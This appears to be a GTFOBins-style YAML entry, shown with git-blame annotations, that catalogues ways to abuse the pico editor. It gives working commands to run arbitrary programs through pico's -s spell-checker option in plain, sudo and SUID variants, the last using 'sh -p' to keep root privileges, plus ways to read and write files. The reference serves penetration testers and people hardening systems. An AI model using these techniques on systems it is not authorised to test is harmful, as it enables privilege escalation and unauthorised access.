2018-05-29 19:23:33 +02:00
|
|
|
---
|
|
|
|
functions:
|
|
|
|
execute-non-interactive:
|
|
|
|
- description: After running this exit the editor to see the command output.
|
|
|
|
code: |
|
|
|
|
COMMAND=id
|
|
|
|
TF=$(mktemp)
|
|
|
|
echo "$COMMAND" > $TF
|
|
|
|
chmod +x $TF
|
2018-05-29 20:43:54 +02:00
|
|
|
pico -s $TF /etc/hosts
|
2018-05-29 19:23:33 +02:00
|
|
|
^T
|
|
|
|
sudo-enabled:
|
|
|
|
- description: After running this exit the editor to see the command output.
|
|
|
|
code: |
|
|
|
|
COMMAND=id
|
|
|
|
TF=$(mktemp)
|
|
|
|
echo "$COMMAND" > $TF
|
|
|
|
chmod +x $TF
|
2018-05-29 20:43:54 +02:00
|
|
|
sudo pico -s $TF /etc/hosts
|
2018-05-29 19:23:33 +02:00
|
|
|
^T
|
|
|
|
suid-enabled:
|
|
|
|
- description: After running this exit the editor to see the command output.
|
|
|
|
code: |-
|
|
|
|
COMMAND=id
|
|
|
|
TF=$(mktemp)
|
|
|
|
echo $'#!/bin/sh -p\n'"$COMMAND" > $TF
|
|
|
|
chmod +x $TF
|
2018-05-29 20:43:54 +02:00
|
|
|
./pico -s $TF /etc/hosts
|
2018-05-29 19:23:33 +02:00
|
|
|
^T
|
|
|
|
file-read:
|
|
|
|
- code: |
|
|
|
|
pico file_to_read
|
|
|
|
file-write:
|
|
|
|
- code: |
|
|
|
|
pico file_to_write
|
|
|
|
^O
|
|
|
|
---
|